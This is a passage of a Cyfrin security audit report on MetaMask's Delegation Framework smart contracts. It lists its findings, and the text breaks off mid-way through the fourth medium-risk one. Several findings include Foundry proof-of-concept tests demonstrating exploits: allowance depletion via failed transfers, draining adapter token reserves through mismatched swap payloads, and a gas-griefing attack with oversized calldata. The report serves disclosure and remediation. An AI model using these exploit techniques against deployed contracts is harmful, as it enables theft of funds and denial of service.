Delegation Framework Audit Report

Prepared by Cyfrin

Version 2.0

Lead Auditors

0kage

Draiakoo

April 1, 2025

Contents

1 About Cyfrin **2**

2 Disclaimer **2**

3 Risk Classification **2**

4 Protocol Summary **2**

5 Audit Scope **3**

6 Executive Summary **3**

7 Findings **5**

7.1 Medium Risk . . . 5

7.1.1 Streaming enforcers increase token spending even without actual token transfer . . . 5

7.1.2 Inconsistency in API and swap payloads in DelegationMetaSwapAdapter can potentially lead to unauthorized transfers . . . 9

7.1.3 Malicious user can create delegations that will spend unlimited amount of gas with `SpecificActionERC20TransferBatchEnforcer` caveat . . . 15

7.1.4 `DelegationMetaSwapAdapter` is not compatible with fee on transfer tokens . . . 16

7.2 Low Risk . . . 21

7.2.1 Bugged `erc7579-implementation` commit imported . . . 21

7.2.2 Wrong event data field in `ERC20PeriodTransferEnforcer` . . . 22

7.3 Informational . . . 24

7.3.1 First transaction on `SpecificActionERC20TransferBatchEnforcer` does not support sending native value . . . 24

7.4 Gas Optimization . . . 26

7.4.1 `ERC20PeriodTransferEnforcer` gas optimizations . . . 26

7.4.2 `NativeTokenStreamingEnforcer` and `ERC20TokenStreamingEnforcer` gas optimizations . . . 27

7.4.3 Unnecessary execution mode support in `DelegationMetaSwapAdapter` . . . 29

1 About Cyfrin

Cyfrin is a Web3 security company dedicated to bringing industry-leading protection and education to our partners and their projects. Our goal is to create a safe, reliable, and transparent environment for everyone in Web3 and DeFi. Learn more about us at cyfrin.io.

2 Disclaimer

The Cyfrin team makes every effort to find as many vulnerabilities in the code as possible in the given time but holds no responsibility for the findings in this document. A security audit by the team does not endorse the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the solidity implementation of the contracts.

3 Risk Classification

	Impact: High	**Impact: Medium**	**Impact: Low**
Likelihood: High	Critical	High	Medium
Likelihood: Medium	High	Medium	Low
Likelihood: Low	Medium	Low	Low

4 Protocol Summary

DeleGator is an account abstraction protocol designed to enable flexible permission delegation across different types of Ethereum accounts. The protocol allows account owners to delegate specific permissions to other addresses, creating a composable authorization framework that supports complex access control patterns.

Key components of the DeleGator system include:

1. Smart Contract Accounts (SCAs): DeleGator implements multiple types of smart contract accounts, including:

- HybridDeleGator: Supports both EOA and P256 (WebAuthn/passkey) signatures
- MultiSigDeleGator: Implements threshold signature schemes with multiple signers
- EIP7702StatelessDeleGator: Integrates with EIP-7702 to enable delegation features on externally owned accounts

2. Delegation Manager: Serves as the central verification and execution engine for delegations. It validates delegation chains, enforces access policies, and executes operations on behalf of delegators.

3. Permission Delegation: Implements a hierarchical delegation system where permissions can be passed through multiple levels with increasing specificity, allowing for complex authorization patterns.

4. Caveat Enforcers: Policy modules that enforce specific constraints on delegations, such as:

- Time-based restrictions (block number, timestamp)
- Asset transfer limitations
- Target address allowlists
- Method allowlists
- Payment requirements

5. ERC-4337 Integration: Built on the Account Abstraction (ERC-4337) standard, allowing delegations to be executed through user operations without requiring direct interaction from the delegator.

6. Signature Verification: Supports multiple signature schemes including ECDSA (for EOAs), P256 (for WebAuthn/passkeys), and multi-signature arrangements.

The protocol aims to solve key challenges in account management and permission delegation, providing a unified and flexible authorization framework for both individuals and organizations operating on Ethereum-based networks.

5 Audit Scope

Summary of the audit scope and any specific inclusions/exceptions.The DeleGator Protocol implements an account abstraction layer that enables delegation of permissions across different types of accounts, including EOAs, EIP-7702 accounts, and smart contract accounts. The protocol employs ERC-4337 (Account Abstraction) to manage user operations and authorizations through a flexible delegation framework.

The audit focused on identifying potential security vulnerabilities, logical errors, and adherence to best practices within the smart contracts. Special attention was given to the delegation mechanisms, signature verification, and execution flow of user operations through the protocol's entry points.

The following contracts were included in the scope of the audit:

Helpers

- DelegationMetaSwapAdapter.sol

Interfaces

- IMetaSwap.sol

Enforcers

- ERC20StreamingEnforcer.sol
- NativeTokenStreamingEnforcer.sol
- SpecificActionERC20TransferBatchEnforcer.sol
- ERC20PeriodTransferEnforcer.sol
- ExactCalldataEnforcer.sol
- ExactCalldataBatchEnforcer.sol
- ExactExecutionEnforcer.sol
- ExactExecutionBatchEnforcer.sol

6 Executive Summary

Over the course of 5 days, the Cyfrin team conducted an audit on the Delegation Framework smart contracts provided by Metamask. In this period, a total of 10 issues were found.

The DeleGator protocol implements a robust account abstraction system that enables flexible delegation of permissions across different types of Ethereum accounts. This system allows users to delegate specific permissions to other addresses with fine-grained control through a hierarchical authorization framework.

The audit identified 4 medium-risk, and 2 low-risk issues in the current scope, along with other informational and gas optimization findings. All reported issues were either resolved or acknowledged by the Metamask team.

Summary

Project Name	Delegation Framework
Repository	delegation-framework
Commit	cdd39c62d654...
Audit Timeline	Mar 10th - Mar 14th
Methods	Manual Review, Stateful Fuzzing

Issues Found

Critical Risk	0
High Risk	0
Medium Risk	4
Low Risk	2
Informational	1
Gas Optimizations	3
Total Issues	10

Summary of Findings

[M-1] Streaming enforcers increase token spending even without actual token transfer	Resolved
[M-2] Inconsistency in API and swap payloads in DelegationMetaSwapAdapter can potentially lead to unauthorized transfers	Acknowledged
[M-3] Malicious user can create delegations that will spend unlimited amount of gas with `SpecificActionERC20TransferBatchEnforcer` caveat	Acknowledged
[M-4] `DelegationMetaSwapAdapter` is not compatible with fee on transfer tokens	Acknowledged
[L-1] Bugged `erc7579-implementation` commit imported	Resolved
[L-2] Wrong event data field in `ERC20PeriodTransferEnforcer`	Resolved
[I-1] First transaction on `SpecificActionERC20TransferBatchEnforcer` does not support sending native value	Acknowledged
[G-1] `ERC20PeriodTransferEnforcer` gas optimizations	Resolved
[G-2] `NativeTokenStreamingEnforcer` and `ERC20TokenStreamingEnforcer` gas optimizations	Acknowledged
[G-3] Unnecessary execution mode support in `DelegationMetaSwapAdapter`	Resolved

7 Findings

7.1 Medium Risk

7.1.1 Streaming enforcers increase token spending even without actual token transfer

Description: The streaming enforcers (`ERC20StreamingEnforcer` and `NativeTokenStreamingEnforcer`) are vulnerable to a token spend allowance depletion attack when used with the `EXECTYPE_TRY` execution mode. The issue exists because both enforcers update the spent amount in the `beforeHook` method, prior to the actual token transfer taking place.

In `ERC20StreamingEnforcer.sol`, the vulnerability occurs in the `_validateAndConsumeAllowance` function:

```
function _validateAndConsumeAllowance(
    bytes calldata _terms,
    bytes calldata _executionCallData,
    bytes32 _delegationHash,
    address _redeemer
)
    private
{
    // ... validation code ...

    uint256 transferAmount_ = uint256(bytes32(callData_[36:68]));

    require(transferAmount_ <= _getAvailableAmount(allowance_),
    ↪  "ERC20StreamingEnforcer:allowance-exceeded");

    // @issue This line increases the spent amount BEFORE the actual transfer happens
    allowance_.spent += transferAmount_;

    emit IncreasedSpentMap(/* ... */);
}
```

Similarly, in `NativeTokenStreamingEnforcer.sol`:

```
function _validateAndConsumeAllowance(
    bytes calldata _terms,
    bytes calldata _executionCallData,
    bytes32 _delegationHash,
    address _redeemer
)
    private
{
    (, uint256 value_,) = _executionCallData.decodeSingle();

    // ... validation code ...

    require(value_ <= _getAvailableAmount(allowance_),
    ↪  "NativeTokenStreamingEnforcer:allowance-exceeded");

    // @issue This line increases the spent amount BEFORE the actual native token transfer
    allowance_.spent += value_;

    emit IncreasedSpentMap(/* ... */);
}
```

When used with the `EXECTYPE_TRY` execution mode, if the token transfer fails, the execution will continue without reverting. However, the streaming allowance will still be decreased as if the transfer had succeeded. This creates a scenario where an attacker can repeatedly execute failing transfers to deplete the streaming allowance without actually transferring any tokens.

Note that a similar issue also exists in `ERC20PeriodTransferEnforcer`.

Impact: This vulnerability allows a malicious delegate to create a permanent denial-of-service on streaming delegations. This effectively denies legitimate use of the delegation.

Proof of Concept: Run the following test

```
    function test_streamingAllowanceDrainWithFailedTransfers() public {
        // Create streaming terms that define:
        // - initialAmount = 10 ether (available immediately at startTime)
        // - maxAmount = 100 ether (total streaming cap)
        // - amountPerSecond = 1 ether (streaming rate)
        // - startTime = current block timestamp (start streaming now)
        uint256 startTime = block.timestamp;
        bytes memory streamingTerms = abi.encodePacked(
            address(mockToken), // token address (20 bytes)
            uint256(INITIAL_AMOUNT), // initial amount (32 bytes)
            uint256(MAX_AMOUNT), // max amount (32 bytes)
            uint256(AMOUNT_PER_SECOND), // amount per second (32 bytes)
            uint256(startTime) // start time (32 bytes)
        );

        Caveat[] memory caveats = new Caveat[](3);

        // Allowed Targets Enforcer - only allow the token
        caveats[0] = Caveat({ enforcer: address(allowedTargetsEnforcer), terms:
        ↪  abi.encodePacked(address(mockToken)), args: hex"" });

        // Allowed Methods Enforcer - only allow transfer
        caveats[1] =
            Caveat({ enforcer: address(allowedMethodsEnforcer), terms:
            ↪  abi.encodePacked(IERC20.transfer.selector), args: hex"" });

        // ERC20 Streaming Enforcer - with the streaming terms
        caveats[2] = Caveat({ enforcer: address(streamingEnforcer), terms: streamingTerms, args: hex""
        ↪  });

        Delegation memory delegation = Delegation({
            delegate: address(users.bob.deleGator),
            delegator: address(users.alice.deleGator),
            authority: ROOT_AUTHORITY,
            caveats: caveats,
            salt: 0,
            signature: hex""
        });

        // Sign the delegation
        delegation = signDelegation(users.alice, delegation);
        bytes32 delegationHash = EncoderLib._getDelegationHash(delegation);

        // Initial balances
        uint256 aliceInitialBalance = mockToken.balanceOf(address(users.alice.deleGator));
        uint256 bobInitialBalance = mockToken.balanceOf(address(users.bob.addr));
        console.log("Alice initial balance:", aliceInitialBalance / 1e18);
        console.log("Bob initial balance:", bobInitialBalance / 1e18);

        // Amount to transfer
        uint256 amountToTransfer = 5 ether;

        // Create the mode for try execution (which will NOT revert on failures)
        ModeCode tryExecuteMode = ModeLib.encode(CALLTYPE_SINGLE, EXECTYPE_TRY, MODE_DEFAULT,
        ↪  ModePayload.wrap(bytes22(0x00)));
```

```
// First test - Successful transfer
{
    console.log("\n--- TEST 1: SUCCESSFUL TRANSFER ---");

    // Make sure token transfers will succeed
    mockToken.setHaltTransfer(false);

    // Prepare a transfer execution
    Execution memory execution = Execution({
        target: address(mockToken),
        value: 0,
        callData: abi.encodeWithSelector(IERC20.transfer.selector, address(users.bob.addr),
        ↪  amountToTransfer)
    });

    // Execute the delegation using try mode
    execute_UserOp(
        users.bob,
        abi.encodeWithSelector(
            delegationManager.redeemDelegations.selector,
            createPermissionContexts(delegation),
            createModes(tryExecuteMode),
            createExecutionCallDatas(execution)
        )
    );

    // Check balances after successful transfer
    uint256 aliceBalanceAfterSuccess = mockToken.balanceOf(address(users.alice.deleGator));
    uint256 bobBalanceAfterSuccess = mockToken.balanceOf(address(users.bob.addr));
    console.log("Alice balance after successful transfer:", aliceBalanceAfterSuccess / 1e18);
    console.log("Bob balance after successful transfer:", bobBalanceAfterSuccess / 1e18);

    // Check streaming allowance state
    (,,,, uint256 storedSpent) =
    ↪  streamingEnforcer.streamingAllowances(address(delegationManager), delegationHash);

    console.log("Spent amount:", storedSpent / 1e18);

    // Verify the spent amount was updated
    assertEq(storedSpent, amountToTransfer, "Spent amount should be updated after successful
    ↪  transfer");

    // Verify tokens were actually transferred
    assertEq(aliceBalanceAfterSuccess, aliceInitialBalance - amountToTransfer, "Alice balance
    ↪  should decrease");
    assertEq(bobBalanceAfterSuccess, bobInitialBalance + amountToTransfer, "Bob balance should
    ↪  increase");
}

// Second test - Failed transfer
{
    console.log("\n--- TEST 2: FAILED TRANSFER ---");

    // Make token transfers fail
    mockToken.setHaltTransfer(true);

    // Prepare the same transfer execution
    Execution memory execution = Execution({
        target: address(mockToken),
        value: 0,
```

```
            callData: abi.encodeWithSelector(IERC20.transfer.selector, address(users.bob.addr),
            ↪  amountToTransfer)
        });

        // Record spent amount before the failed transfer
        (,,,, uint256 spentBeforeFailure) =
        ↪  streamingEnforcer.streamingAllowances(address(delegationManager), delegationHash);
        console.log("Spent amount before failed transfer:", spentBeforeFailure / 1e18);

        // Execute the delegation (will use try mode so execution continues despite transfer
        ↪  failure)
        execute_UserOp(
            users.bob,
            abi.encodeWithSelector(
                delegationManager.redeemDelegations.selector,
                createPermissionContexts(delegation),
                createModes(tryExecuteMode),
                createExecutionCallDatas(execution)
            )
        );

        // Check balances after failed transfer
        uint256 aliceBalanceAfterFailure = mockToken.balanceOf(address(users.alice.deleGator));
        uint256 bobBalanceAfterFailure = mockToken.balanceOf(address(users.bob.addr));
        console.log("Alice balance after failed transfer:", aliceBalanceAfterFailure / 1e18);
        console.log("Bob balance after failed transfer:", bobBalanceAfterFailure / 1e18);

        // Check spent amount after failed transfer
        (,,,, uint256 spentAfterFailure) =
        ↪  streamingEnforcer.streamingAllowances(address(delegationManager), delegationHash);
        console.log("Spent amount after failed transfer:", spentAfterFailure / 1e18);

        // @audit -> shows spent amount increases even when token transfer fails
        assertEq(
            spentAfterFailure, spentBeforeFailure + amountToTransfer, "Spent amount should increase
            ↪  even with failed transfer"
        );

        // Verify tokens weren't actually transferred
        assertEq(
            aliceBalanceAfterFailure,
            aliceInitialBalance - amountToTransfer, // Only reduced by the first successful transfer
            "Alice balance should not change after failed transfer"
        );
        assertEq(
            bobBalanceAfterFailure,
            bobInitialBalance + amountToTransfer, // Only increased by the first successful transfer
            "Bob balance should not change after failed transfer"
        );
    }
}
```

Recommended Mitigation: Consider modifying the enforcers to restrict the execution type only to `EXECTYPE_DEFAULT`.

Metamask: Resolved in commit b2807a9

Cyfrin: Resolved. Execution type restricted to `EXECTYPE_DEFAULT`.

7.1.2 Inconsistency in API and swap payloads in DelegationMetaSwapAdapter can potentially lead to unauthorized transfers

Description: The `DelegationMetaSwapAdapter` contract contains a vulnerability in the `swapByDelegation()` function where it fails to validate consistency between the token declared in the API data (apiData) and the actual token used in the swap data (swapData).

This discrepancy allows an attacker to trick the adapter into using tokens from its own reserves that were not part of the user's authorization.

When executing a token swap through the swapByDelegation() function, the contract receives two critical pieces of information: `apiData` - Contains parameters including the token to be swapped (tokenFrom) and the amount `swapData` - Used by the underlying MetaSwap contract and contains potentially different token information

The vulnerability exists because the `DelegationMetaSwapAdapter` does not verify that the token specified in `apiData` matches the token specified in `swapData` before executing the swap.

```
 function swapByDelegation(bytes calldata _apiData, Delegation[] memory _delegations) external {
        (string memory aggregatorId_, IERC20 tokenFrom_, IERC20 tokenTo_, uint256 amountFrom_, bytes
        ↪  memory swapData_) =
            _decodeApiData(_apiData);
        uint256 delegationsLength_ = _delegations.length;

        if (delegationsLength_ == 0) revert InvalidEmptyDelegations();
        if (tokenFrom_ == tokenTo_) revert InvalidIdenticalTokens();
        if (!isTokenAllowed[tokenFrom_]) revert TokenFromIsNotAllowed(tokenFrom_);
        if (!isTokenAllowed[tokenTo_]) revert TokenToIsNotAllowed(tokenTo_);
        if (!isAggregatorAllowed[keccak256(abi.encode(aggregatorId_))]) revert
        ↪  AggregatorIdIsNotAllowed(aggregatorId_);
        if (_delegations[0].delegator != msg.sender) revert NotLeafDelegator();
       //@audit missing checks on swapData payload which also contains tokenFrom and to

    // ....
}
```

An example attack flow:

- The attacker creates a delegation that permits transferring a small amount of TokenA
- The attacker crafts malicious apiData stating TokenA as tokenFrom (matching the delegation)
- The attacker includes swapData that specifies TokenB as the actual token to use
- When processed by the MetaSwap contract, it uses TokenB from the adapter's reserves
- The result is that TokenB is transferred from the adapter's reserves without proper authorization

Impact: Inconsistent payload can make unauthorized asset transfers that can potentially deplete token reserves of the adapter.

Proof of Concept: POC below makes some assumptions:

1. There is a token balance in Adapter
2. Adapter has given infinite allowance to Metaswap for this token (this is a reasonable assumption if this token was ever used by the adapter before)
3. The Metaswap swap purely relies on the swap payload to execute a swap without making additional checks (since this is out-of-scope, we assume this as a worst-case scenario). This is reflected in how we setup the `swap` function in `ExploitableMetaSwapMock`

Run the following POC

```
/**
 * @title DelegationMetaSwapAdapterConsistencyExploitTest
 * @notice This test demonstrates how inconsistencies between API data and swap data can be exploited
```

```
 */
contract DelegationMetaSwapAdapterConsistencyExploitTest is DelegationMetaSwapAdapterBaseTest {
    BasicERC20 public tokenC;

    // Mock MetaSwap contract that allows us to demonstrate the issue
    ExploitableMetaSwapMock public exploitableMetaSwap;

    function setUp() public override {
        super.setUp();

        _setUpMockContractsWithCustomMetaSwap();
    }

    function test_tokenFromInconsistencyExploit() public {
        // This test demonstrates an exploit where:
        // - apiData declares tokenA as tokenFrom, but sends a small amount (appears safe)
        // - swapData references tokenB as tokenFrom, with a much larger amount
        // - MetaSwap will use the larger amount of tokenB, draining user's funds

        // Record initial balances
        uint256 vaultTokenABefore = tokenA.balanceOf(address(vault.deleGator));
        uint256 adapterTokenBBefore = tokenB.balanceOf(address(delegationMetaSwapAdapter));
        uint256 vaultTokenCBefore = tokenC.balanceOf(address(vault.deleGator));
        console.log("Initial balances:");
        console.log("TokenA:", vaultTokenABefore);
        console.log("TokenB:", adapterTokenBBefore);
        console.log("TokenC:", vaultTokenCBefore);

        // ======== THE EXPLOIT ========
        // We create inconsistent data where:
        // - apiData claims to swap a small amount of tokenA
        // - swapData actually references tokenB with a much larger amount

        // First, craft our malicious swap data
        uint256 amountToTransfer = 100; // amount of tokenA
        uint256 outputAmount = 1000;

        bytes memory exploitSwapData = _encodeExploitSwapData(
            IERC20(tokenB), // Real tokenFrom in swapData is tokenB (not tokenA)
            IERC20(tokenC), // tokenTo is tokenC
            amountToTransfer, //amount for tokenB
            outputAmount // Amount to receive
        );

        // Create malicious apiData that claims tokenA but references the swapData with tokenB
        bytes memory maliciousApiData = _encodeExploitApiData(
            "exploit-aggregator",
            IERC20(tokenA), // pretend to use tokenA in apiData
            amountToTransfer,
            exploitSwapData // but use swapData that uses tokenB with large amount
        );

        // Create a delegation from vault to subVault
        Delegation memory vaultDelegation = _getVaultDelegationCustom();
        Delegation memory subVaultDelegation =
            _getSubVaultDelegationCustom(EncoderLib._getDelegationHash(vaultDelegation),
            ↪  amountToTransfer);

        Delegation[] memory delegations = new Delegation[](2);
        delegations[1] = vaultDelegation;
        delegations[0] = subVaultDelegation;
```

```
        // Execute the swap with our malicious data
        vm.prank(address(subVault.deleGator));
        delegationMetaSwapAdapter.swapByDelegation(maliciousApiData, delegations);

        // Check final balances
        uint256 vaultTokenAAfter = tokenA.balanceOf(address(vault.deleGator));
        uint256 adapterTokenBAfter = tokenB.balanceOf(address(delegationMetaSwapAdapter));
        uint256 vaultTokenCAfter = tokenC.balanceOf(address(vault.deleGator));
        console.log("Final balances:");
        console.log("TokenA:", vaultTokenAAfter);
        console.log("TokenB:", adapterTokenBAfter);
        console.log("TokenC:", vaultTokenCAfter);

        // The TokenA balance should remain the same (not used despite apiData saying it would be)
        assertEq(vaultTokenABefore - vaultTokenAAfter, amountToTransfer, "TokenA balance shouldn't
        ↪  change");

        // The TokenB balance should be drained (this is the actual token used in the swap)
        assertEq(adapterTokenBBefore - adapterTokenBAfter, amountToTransfer, "TokenB should be drained
        ↪  by the largeAmount");

        // The TokenC balance should increase
        assertEq(vaultTokenCAfter - vaultTokenCBefore, outputAmount, "TokenC should be received");

        console.log("EXPLOIT SUCCESSFUL: Used TokenB instead of TokenA, draining more funds than
        ↪  expected!");
    }

    // Helper to encode custom apiData for the exploit
    function _encodeExploitApiData(
        string memory _aggregatorId,
        IERC20 _declaredTokenFrom,
        uint256 _declaredAmountFrom,
        bytes memory _swapData
    )
        internal
        pure
        returns (bytes memory)
    {
        return abi.encodeWithSelector(IMetaSwap.swap.selector, _aggregatorId, _declaredTokenFrom,
        ↪  _declaredAmountFrom, _swapData);
    }

    // Helper to encode custom swapData for the exploit
    function _encodeExploitSwapData(
        IERC20 _actualTokenFrom,
        IERC20 _tokenTo,
        uint256 _actualAmountFrom,
        uint256 _amountTo
    )
        internal
        pure
        returns (bytes memory)
    {
        // Following MetaSwap's expected structure
        return abi.encode(
            _actualTokenFrom, // Actual token from (can be different from apiData)
            _tokenTo,
            _actualAmountFrom, // Actual amount (can be different from apiData)
            _amountTo,
            bytes(""), // Not important for the exploit
            uint256(0), // No fee
```

```
        address(0), // No fee wallet
        false // No fee to
    );
}

function _getVaultDelegationCustom() internal view returns (Delegation memory) {
    Caveat[] memory caveats_ = new Caveat[](4);

    caveats_[0] = Caveat({ args: hex"", enforcer: address(allowedTargetsEnforcer), terms:
    ↪  abi.encodePacked(address(tokenA)) });

    caveats_[1] =
        Caveat({ args: hex"", enforcer: address(allowedMethodsEnforcer), terms:
        ↪  abi.encodePacked(IERC20.transfer.selector) });

    uint256 paramStart_ = abi.encodeWithSelector(IERC20.transfer.selector).length;
    address paramValue_ = address(delegationMetaSwapAdapter);
    // The param start and and param value are packed together, but the param value is not packed.
    bytes memory inputTerms_ = abi.encodePacked(paramStart_,
    ↪  bytes32(uint256(uint160(paramValue_))));
    caveats_[2] = Caveat({ args: hex"", enforcer: address(allowedCalldataEnforcer), terms:
    ↪  inputTerms_ });

    caveats_[3] = Caveat({
        args: hex"",
        enforcer: address(redeemerEnforcer),
        terms: abi.encodePacked(address(delegationMetaSwapAdapter))
    });

    Delegation memory vaultDelegation_ = Delegation({
        delegate: address(subVault.deleGator),
        delegator: address(vault.deleGator),
        authority: ROOT_AUTHORITY,
        caveats: caveats_,
        salt: 0,
        signature: hex""
    });
    return signDelegation(vault, vaultDelegation_);
}

function _getSubVaultDelegationCustom(
    bytes32 _parentDelegationHash,
    uint256 amount
)
    internal
    view
    returns (Delegation memory)
{
    Caveat[] memory caveats_ = new Caveat[](1);

    // Using ERC20 as tokenFrom
    // Restricts the amount of tokens per call
    uint256 paramStart_ = abi.encodeWithSelector(IERC20.transfer.selector, address(0)).length;
    uint256 paramValue_ = amount;
    bytes memory inputTerms_ = abi.encodePacked(paramStart_, paramValue_);
    caveats_[0] = Caveat({ args: hex"", enforcer: address(allowedCalldataEnforcer), terms:
    ↪  inputTerms_ });

    Delegation memory subVaultDelegation_ = Delegation({
        delegate: address(delegationMetaSwapAdapter),
        delegator: address(subVault.deleGator),
        authority: _parentDelegationHash,
```

```
            caveats: caveats_,
            salt: 0,
            signature: hex""
        });

        return signDelegation(subVault, subVaultDelegation_);
    }

    function _setUpMockContractsWithCustomMetaSwap() internal {
        vault = users.alice;
        subVault = users.bob;

        // Create the tokens
        tokenA = new BasicERC20(owner, "TokenA", "TKA", 0);
        tokenB = new BasicERC20(owner, "TokenB", "TKB", 0);
        tokenC = new BasicERC20(owner, "TokenC", "TKC", 0);

        vm.label(address(tokenA), "TokenA");
        vm.label(address(tokenB), "TokenB");
        vm.label(address(tokenC), "TokenC");

        exploitableMetaSwap = new ExploitableMetaSwapMock();

        // Set the custom MetaSwap mock
        delegationMetaSwapAdapter = new DelegationMetaSwapAdapter(
            owner, IDelegationManager(address(delegationManager)),
            ↪  IMetaSwap(address(exploitableMetaSwap))
        );

        // Mint tokens
        vm.startPrank(owner);
        tokenA.mint(address(vault.deleGator), 1_000_000);
        tokenB.mint(address(vault.deleGator), 1_000_000);
        tokenB.mint(address(delegationMetaSwapAdapter), 1_000_000);
        tokenA.mint(address(exploitableMetaSwap), 1_000_000);
        tokenB.mint(address(exploitableMetaSwap), 1_000_000);
        tokenC.mint(address(exploitableMetaSwap), 1_000_000);
        vm.stopPrank();

        // give allowance of tokenB to the metaswap contract
        vm.prank(address(delegationMetaSwapAdapter));
        tokenB.approve(address(exploitableMetaSwap), type(uint256).max);

        // Update allowed tokens list to include all three tokens
        IERC20[] memory allowedTokens = new IERC20[](3);
        allowedTokens[0] = IERC20(tokenA);
        allowedTokens[1] = IERC20(tokenB);
        allowedTokens[2] = IERC20(tokenC);

        bool[] memory statuses = new bool[](3);
        statuses[0] = true;
        statuses[1] = true;
        statuses[2] = true;

        vm.prank(owner);
        delegationMetaSwapAdapter.updateAllowedTokens(allowedTokens, statuses);

        _whiteListAggregatorId("exploit-aggregator");
    }
}

/**
```

```
 * @notice Mock implementation that demonstrates the vulnerability
 * @dev This mock mimics MetaSwap but exposes the tokenFrom inconsistency
 */
contract ExploitableMetaSwapMock {
    using SafeERC20 for IERC20;

    event SwapExecuted(IERC20 declaredTokenFrom, uint256 declaredAmount, IERC20 actualTokenFrom,
    ↪  uint256 actualAmount);

    /**
     * @notice Mock swap implementation that purposely ignores API data parameters
     * @dev This simulates a MetaSwap contract that uses the values from swapData
     * instead of the values declared in apiData
     */
    function swap(
        string calldata aggregatorId,
        IERC20 declaredTokenFrom, // From apiData
        uint256 declaredAmount, // From apiData
        bytes calldata swapData
    )
        external
        payable
        returns (bool)
    {
        // Decode the real parameters from swapData (our mock uses a simple structure)
        (IERC20 actualTokenFrom, IERC20 tokenTo, uint256 actualAmount, uint256 amountTo,,,,) =
            abi.decode(swapData, (IERC20, IERC20, uint256, uint256, bytes, uint256, address, bool));

        // Log the inconsistency for demonstration purposes
        emit SwapExecuted(declaredTokenFrom, declaredAmount, actualTokenFrom, actualAmount);

        // Execute the swap using the ACTUAL parameters from swapData, ignoring apiData
        actualTokenFrom.safeTransferFrom(msg.sender, address(this), actualAmount);
        tokenTo.transfer(address(msg.sender), amountTo);

        return true;
    }
}
```

Recommended Mitigation: To address this vulnerability, consider adding validation in the `swapByDelegation` function to ensure consistency between `apiData` and `swapData`:

```
function swapByDelegation(bytes calldata _apiData, Delegation[] memory _delegations) external {
    // Decode apiData
    (string memory aggregatorId_, IERC20 tokenFromApi, uint256 amountFromApi, bytes memory swapData_) =
        _decodeApiData(_apiData);

    // Decode swapData to extract the actual token and amount
    (IERC20 tokenFromSwap, IERC20 tokenTo_, uint256 amountFromSwap,,,,) =
        abi.decode(abi.encodePacked(abi.encode(address(0)), swapData_),
                   (address, IERC20, IERC20, uint256, uint256, bytes, uint256, address, bool));

    // @audit Validate consistency between apiData and swapData
    require(address(tokenFromApi) == address(tokenFromSwap),
            "TokenFromInconsistency: apiData and swapData tokens must match");

    // @audit Validate amounts are consistent
    require(amountFromApi == amountFromSwap,
            "AmountInconsistency: apiData amount must be equal to swapData amount");

    // Continue with existing implementation...
```

```
}
```

[Metamask]: Acknowledged. Will be addressed in future when changes are implemented to the `DelegationMetaSwapAdapter`.

Cyfrin: Acknowledged.

7.1.3 Malicious user can create delegations that will spend unlimited amount of gas with `SpecificActionERC20TransferBatchEnforcer` caveat

Description: The `SpecificActionERC20TransferBatchEnforcer` first execution has no limit on the calldata size. This allows a malicious user to create delegations that will waste unlimited amount of gas from the delegates.

```
    function beforeHook(
        bytes calldata _terms,
        bytes calldata,
        ModeCode _mode,
        bytes calldata _executionCallData,
        bytes32 _delegationHash,
        address _delegator,
        address
    )
        public
        override
        onlyBatchExecutionMode(_mode)
    {
        ...
        if (
            executions_[0].target != terms_.firstTarget || executions_[0].value != 0
                || keccak256(executions_[0].callData) != keccak256(terms_.firstCalldata)
        ) {
            revert("SpecificActionERC20TransferBatchEnforcer:invalid-first-transaction");
        }
        ...
    }
```

In order to compute the `keccak256` hash function, the code needs to store the whole `terms_.firstCalldata` into memory. So a huge chunk of calldata will increase the memory expansion cost quadratically.

Notice also that the delegator can arbitrarily increase the calldata size without compromising the output of the execution. For example, if the delegator wants to execute the `increment(uint256 num)` function from a contract, the bytes after the argument will just be ignored by the compiler. This calldata:

```
0x7cf5dab0000000000000000000000000000000000000000000000000000000000000001
```

Will have the same execution output as:

```
0x7cf5dab0000000000000000000000000000000000000000000000000000000000000001ffffffffffffffffffffffffffff
↪   ffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff...
```

Hence, calldata size can be arbitrarily increased without compromising execution output

Impact: A malicious user can create delegations that will waste unlimited amount of gas from the delegates.

Proof of Concept:

```
function testGriefingAttackSpecificActionERC20TransferEnforcer() public {
        // Generate a very large calldata (e.g., 1MB)
        bytes memory largeCalldata = new bytes(1_000_000);
        for (uint256 i = 0; i < largeCalldata.length; i++) {
            largeCalldata[i] = 0xFF;
        }
```

```
        // Create terms with the large calldata
        bytes memory terms = abi.encodePacked(
            address(token), // tokenAddress
            address(0x1), // recipient
            uint256(100), // amount
            address(0x1), // firstTarget
            largeCalldata // firstCalldata
        );

        // Create a batch execution with the expected large calldata
        Execution[] memory executions = new Execution[](2);
        executions[0] = Execution({ target: address(0x1), value: 0, callData: largeCalldata });
        executions[1] = Execution({
            target: address(token),
            value: 0,
            callData: abi.encodeWithSelector(IERC20.transfer.selector, address(0x1), 100)
        });

        bytes memory executionCallData = abi.encode(executions);

        // Measure gas usage of the beforeHook call
        uint256 startGas = gasleft();

        vm.startPrank(address(delegationManager));
        // This would be extremely expensive due to the large calldata
        batchEnforcer.beforeHook(
            terms,
            bytes(""),
            batchDefaultMode, // Just a dummy mode code
            executionCallData,
            keccak256("delegation1"),
            address(0),
            address(0)
        );

        uint256 gasUsed = startGas - gasleft();
        vm.stopPrank();

        console.log("Gas used for beforeHook with 1MB calldata:", gasUsed);
    }
```

Output gas:

```
Ran 1 test for test/enforcers/SpecificActionERC20TransferBatchEnforcer.t.sol:SpecificActionERC20Transfe
↪  rBatchEnforcerTest
[PASS] testGriefingAttackSpecificActionERC20TransferEnforcer() (gas: 207109729)
```

Recommended Mitigation: Consider constraining the calldata size to a specific limit

MetaMask: Acknowledged. It is on the delegate to validate the delegation before executing it.

Cyfrin: Acknowledged.

7.1.4 `DelegationMetaSwapAdapter` is not compatible with fee on transfer tokens

Description: When someone tries to execute a `swapByDelegation`, the contract will first snapshot the current balance of the `tokenFrom`:

```
    function swapByDelegation(bytes calldata _apiData, Delegation[] memory _delegations) external {
        ...
        // Prepare the call that will be executed internally via onlySelf
```

```
        bytes memory encodedSwap_ = abi.encodeWithSelector(
            this.swapTokens.selector,
            aggregatorId_,
            tokenFrom_,
            tokenTo_,
            _delegations[delegationsLength_ - 1].delegator,
            amountFrom_,
@>          _getSelfBalance(tokenFrom_),
            swapData_
        );
        ...
    }
```

Afterwards, this same amount is used to compute the amount of tokens received during the transfer:

```
    function swapTokens(
        string calldata _aggregatorId,
        IERC20 _tokenFrom,
        IERC20 _tokenTo,
        address _recipient,
        uint256 _amountFrom,
